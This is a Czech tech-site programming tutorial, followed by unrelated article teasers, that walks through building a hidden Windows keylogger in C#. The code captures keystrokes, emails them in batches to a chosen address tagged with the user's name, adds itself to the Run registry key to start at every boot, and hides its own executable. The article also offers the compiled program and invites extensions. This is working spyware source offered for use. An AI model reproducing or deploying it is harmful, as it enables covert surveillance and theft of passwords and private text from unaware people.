Staňte se programátorem: špion, který ví, co píšete

Jsou programy naprosto běžné a snadno přehlédnutelné a pak ty kontroverzní. Patří k nim i keyloggery, které tajně snímají výstup z klávesnice. Napište si s námi jednoduchého špiona.
Staňte se programátorem: špion, který ví, co píšete

Jak naprogramovat keylogger

V dnešním díle si naprogramujeme jednoduchý keylogger. Pokud nemáte tušení, oč jde, vězte, že se jedná o druh programu, který se skryje v systému a snímá stisknuté klávesy, které vždy po určitém počtu odesílá na předem stanovenou e-mailovou adresu. Většinou je tento druh programu využíván k nekalým účelům, ale najdou se i rozumnější důvody k použití – například kontrola, co se děje na vašem počítači v době vaší nepřítomnosti apod. Při jeho programování se naučíme tyto dovednosti:

  • Volání WinAPI funkcí (snímání kláves)
  • Odesílání e-mailových zpráv (odeslání snímaných kláves)
  • Ukládání hodnot do registrů (spuštění keyloggeru vždy po startu počítače)
  • Nastavování atributů souboru (skrytí keyloggeru)

Program se vždy při startu zapíše do registru „po spuštění“ a skryje se ve složce, ze které byl spuštěn. Dále bude obsahovat časovač, který v rychlých sekvencích kontroluje aktuálně stisknuté klávesy. Pokud jejich počet dosáhne námi stanoveného počtu, budou odeslány na e-mail.

Klepněte pro větší obrázek
Jediným dialogem programu bude úvodní nastavení

Volání WinAPI funkcí

Windows API je základní softwarové rozhraní sytému Microsoft Windows obsahující desítky knihoven pro základní systémové operace. V jazyce C# máme drtivou většinu funkcí již předprogramovanou v .NET Frameworku. Existují však výjimky, kde musíme volat metody knihoven WinAPI. Deklarace těchto metod se provádí následujícím způsobem:

[System.Runtime.InteropServices.DllImport("název knihovny")]
static extern návratový_typ název_metody(argumenty.....)

Například takto deklarujeme WinAPI metodu GetAsyncKeyState knihovny user32.dll, která vrací aktuálně stisknutou klávesu:

[DllImport("User32.dll")]
static extern short GetAsyncKeyState(int vKey);

Posíláme klávesy na e-mail

Pro neustálou kontrolu stisknutých kláves je nutné tuto metodu volat v neustálých intervalech, k čemuž nám poslouží časovač představovaný třídou System.Windows.Forms.Timer. Tato komponenta obsahuje událost Tick, která pak představuje samotné tiknutí časovače vždy za určitý interval. Následující kód tedy zjistí stisknutou klávesu a přidá ji do paměti. Jakmile paměť dosáhne tří set znaků, celá dávka se odešle na e-mail.

Jelikož program zaznamenává stisk nejen základních znakových kláves, ale i ty s diakritikou, řídící a systémové, které systém identifikuje jinak než my, je nutné některé z nich pro snadnou orientaci přejmenovat – o to se postará metoda Replace.

void timer1_Tick(object sender, EventArgs e)
{
  string keyBuffer = "";
  // Snímá stisknuté klávesy
  foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
  {
    if (GetAsyncKeyState(i) == -32767)
      keyBuffer += Enum.GetName(typeof(Keys), i);
  }

  if (keyBuffer != "")
  {
    keyBuffer = keyBuffer.Replace("Space", " ");
    keyBuffer = keyBuffer.Replace("Delete", "<Del>");
    keyBuffer = keyBuffer.Replace("LShiftKey", "<SHIFT>");
    keyBuffer = keyBuffer.Replace("ShiftKey", "");
    keyBuffer = keyBuffer.Replace("OemQuotes", "!");
    keyBuffer = keyBuffer.Replace("Oemcomma", "?");
    keyBuffer = keyBuffer.Replace("D8", "á");
    keyBuffer = keyBuffer.Replace("D2", "ì");
    keyBuffer = keyBuffer.Replace("D3", "š");
    keyBuffer = keyBuffer.Replace("D4", "è");
    keyBuffer = keyBuffer.Replace("D5", "ø");
    keyBuffer = keyBuffer.Replace("D6", "ž");
    keyBuffer = keyBuffer.Replace("D7", "ý");
    keyBuffer = keyBuffer.Replace("D9", "í");
    keyBuffer = keyBuffer.Replace("D0", "é");
    keyBuffer = keyBuffer.Replace("Back", "<==");
    keyBuffer = keyBuffer.Replace("LButton", "<Levé myšítko>");
    keyBuffer = keyBuffer.Replace("RButton", "<Pravé myšítko>");
    keyBuffer = keyBuffer.Replace("NumPad", "");
    keyBuffer = keyBuffer.Replace("OemPeriod", ".");
    keyBuffer = keyBuffer.Replace("OemSemicolon", ",");
    keyBuffer = keyBuffer.Replace("Oem4", "/");
    
keyBuffer = keyBuffer.Replace("LControlKey", "<CTRL>");
    
keyBuffer = keyBuffer.Replace("ControlKey", "<CTRL>");
    
keyBuffer = keyBuffer.Replace("Enter", "<ENT>");
    
keyBuffer = keyBuffer.Replace("Shift", "<SHIFT>");
    
keyBuffer = keyBuffer.ToLower();
    klavesy += keyBuffer;
    
    
// Pokud je počet nasnímaných kláves roven nebo větší než
    
// námi definovaný počet, budou odeslány mailem
    if (klavesy.Length >= kolikKlaves)
    
{
       OdesliMail(mail,smtp, "klavesy@keylogger.cz" ,klavesy,
                  "Nasnímané klávesy uživatele "  + Environment.UserName);

      // Vynulování stisknutých kláves
      klavesy = "";
    }
  }
}

Klepněte pro větší obrázek Klepněte pro větší obrázek
Zatímco píšete článek v textovém procesoru, KeyLogger odesílá veškeré stisky kláves na předdefinovaný email

V poštovní zprávě jsou zaznamenány i všechny stisky funkčních kláves a v podobě zpětných šipek i mazání textu

Odesílání e-mailových zpráv

K posílání e-mailových zpráv slouží třída System.Net.Mail.SmtpClient do jejíž konstruktoru zadáme název smtp serveru na který má být zpráva zaslána. Následně je nutné vytvořit e-mailovou zprávu, která je představována instancí třídy MailMessage a odeslat ji metodou SendAsync třídy SmtpClient.

void OdesliMail(string adresa, string hostitel, string odesilatel, string obsah, string subject)
{
  SmtpClient smtp = new SmtpClient(hostitel);
  // Vytvoří e-mailovou zprávu
  MailMessage zprava = new MailMessage(odesilatel, adresa, subject, obsah);
  // Odešle zprávu
  smtp.SendAsync(zprava,null);
}

Ukládání hodnot do registrů

Pro editování hodnot registrů slouží třída RegistryKey, jejíž instanci vytvoříme metodou Registry.LocalMachine.OpenSubKey, která jako argument očekává řetězec představující cestu k registru, do kterého chceme zapisovat metodou SetValue. První argument této metody představuje název klíče a druhý argument jeho hodnotu.

try
{
  // Otevře registrový klíč "po spuštění"
  RegistryKey klic = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\
                                        Windows\\CurrentVersion\\Run", true);

  // Nastaví hodnotu klíče registru tak, aby se tato aplikace spouštěla vždy při
  // startu počítače
  klic.SetValue("KeyLogger", Application.ExecutablePath);
  klic.Close();
}

// Pokud se uložení do registrů nezdaří:
catch
{
  MessageBox.Show("Nepodařilo se zapsat do registru");
}

Kód je ale ve skutečnosti trošku složitější, program si totiž do registru při prvním spuštění uloží také e-mail, na který má zprávy odesílat, a příslušný SMTP server. Tato část kódu je víceméně analogická, data pouze zapisujete a čtete z jiné oblasti systémového registru.

Nastavení atributů souboru

Pro nastavení atributů souboru použijeme statickou metodu SetAttributes třídy System.IO.File, která jako první argument očekává cestu k souboru jehož atributy chceme nastavit. Výčet možných atributů je uložen ve výčtovém typu FileAttributes a představuje druhý argument této metody. V našem případě chceme keylogger skrýt, a proto použijeme položku Hidden.

System.IO.File.SetAttributes(Application.ExecutablePath, 
                             System.IO.FileAttributes.Hidden);
 

Snadno rozšiřitelný kód

A to je vlastně všechno. Obrázků dnes bylo pomálu, celá aplikace totiž pracuje na pozadí běhu Windows a obejde se bez ovládacích prvků. Zdrojový kód můžete snadno rozšířit, přidat ovládání třeba přes ikonu v oznamovací oblasti Windows a získávat informace o tom, který program má zrovna fokus a jeho název pro snazší orientaci vkládat do odesílaného textu.

Pokud tedy máte chuť a chcete přispět do našeho seriálu, pošlete nám kód na tento e-mail a my vaše úpravy zveřejníme v některém z příštích článků.

Nakonec nesmí chybět ani slíbený spustitelný program a projekt. K prvnímu budete potřebovat nainstalovaný novější Microsoft .NET Framework, pakliže si budete chtít projekt upravit a sestavit, budete potřebovat bezplatné vývojové prostředí Microsoft Visual C# 2008 Express Edition.

Diskuze (45) Další článek: Ta Windows nebo Ty Windows? Poradí vám WebSource.it

Témata článku: Software, Programování, Keylogger, Kody, Catch, Píš, LCO, Kter, Shift, První argument, Špion, Tolo, Celá dávka, Space, Druhý argument, Softwarové rozhraní, Family, Špión, Základní znak, Programátor, Deklarace, Klávesa, Software na Heureka.cz



Sex manželských párů? Jen výjimečně. Ložnice ovládnou roboti s umělou inteligencí

Sex manželských párů? Jen výjimečně. Ložnice ovládnou roboti s umělou inteligencí

** Sex manželských párů jen při zvláštních příležitostech. ** Ložnice ovládnou sexuální roboti s umělou inteligencí. ** I to je jeden ze závěrů Mezinárodní robotické konference.

Filip KůželJiří Liebreich
RobotiSexUmělá inteligence
Druhotné softwarové licence. Kdo by nechtěl legální Windows za stovku…

Druhotné softwarové licence. Kdo by nechtěl legální Windows za stovku…

Koupě originálního programového vybavení přímo od výrobce není jedinou možností, jak sehnat pro váš počítač legální software. Další možností je koupit licenci od toho, kdo ji už nepotřebuje nebo nevyužije. Můžete ušetřit nemalou částku, zároveň si však dávejte pozor na podvodníky.

Jan Spěšný
Pokračování Star Wars Jedi: Fallen Order bude pouze pro next-gen. Dočkáme se v příštím roce

Pokračování Star Wars Jedi: Fallen Order bude pouze pro next-gen. Dočkáme se v příštím roce

Uplynulá generace konzolí nebude graficky brzdit pokračování skvělé akce z daleké galaxie.

Michal Maliarov
Star Wars Jedi: The Fallen OrderAkční adventuraNext-gen
Nový hit. Tahle appka vám udělá profilovku jako od pouličního ilustrátora

Nový hit. Tahle appka vám udělá profilovku jako od pouličního ilustrátora

** Aplikace NewProfilePic se na Androidu stala hitem ** Můžete si v ní vytvořit profesionálně vypadající profilovky ** Pozor ale na agresivní cenovou politiku za Pro verzi

Martin Chroust
FotografieUmělá inteligenceMobilní aplikace
18 tipů a triků pro WhatsApp, které možná neznáte

18 tipů a triků pro WhatsApp, které možná neznáte

** WhatsApp je jedna z nejrozšířenějších komunikačních aplikací ** Obsahuje mnoho skrytých funkcí, které vylepší používání ** Zde najdete tipy na ty nejužitečnější

Adam Kos
WhatsAppTipy a triky
25 nejlepších filmových parodií, které můžete vidět. Víme, kde je najdete online

25 nejlepších filmových parodií, které můžete vidět. Víme, kde je najdete online

Filmové parodie jsou divácky velmi vděčné a mezi filmaři oblíbené. Tvůrci v nich mohou totiž zcela beztrestně vykrádat cizí díla a v jejich nápodobě popustit uzdu své fantazii. Vybrali jsme nejlepší zahraniční i české parodie.

Marek Čech
Filmy, které musíte vidět
Kouzlo jménem Adaptivní nabíjení. K čemu toto nastavení slouží a jak dokáže ochránit baterii?

Kouzlo jménem Adaptivní nabíjení. K čemu toto nastavení slouží a jak dokáže ochránit baterii?

** Po 500 nabíjecích cyklech mají baterie cca 80 % své původní kapacity ** Mobilní výrobci však mohou baterie softwarově chránit ** Řešení se nazývá Adaptivní nabíjení, a máte jej i ve svém telefonu

Martin Chroust
NabíjeníBaterieAndroid
Jak promítnout displej telefonu na počítač s Windows 10

Jak promítnout displej telefonu na počítač s Windows 10

Chcete jednoduše ukázat známým fotky z dovolené a displej vašeho telefonu vám přijde malý? Promítněte si jej na obrazovku počítače, bez nutnosti kopírování nebo připojení přes kabel.

Jan Spěšný
SmartphoneWindows 10Android
Světu hrozí „vlhká žárovka.“ Měla dorazit až v polovině století, ale už je tu

Světu hrozí „vlhká žárovka.“ Měla dorazit až v polovině století, ale už je tu

** Nejteplejší místo na Zemi nemusí být to nejnebezpečnější ** Největším zabijákem se stane až mix tepla a vlhkosti ** Asie se nebezpečně přiblížila hraniční hodnotě 35 °C twb

Jakub Čížek
MeteorologieGlobální oteplování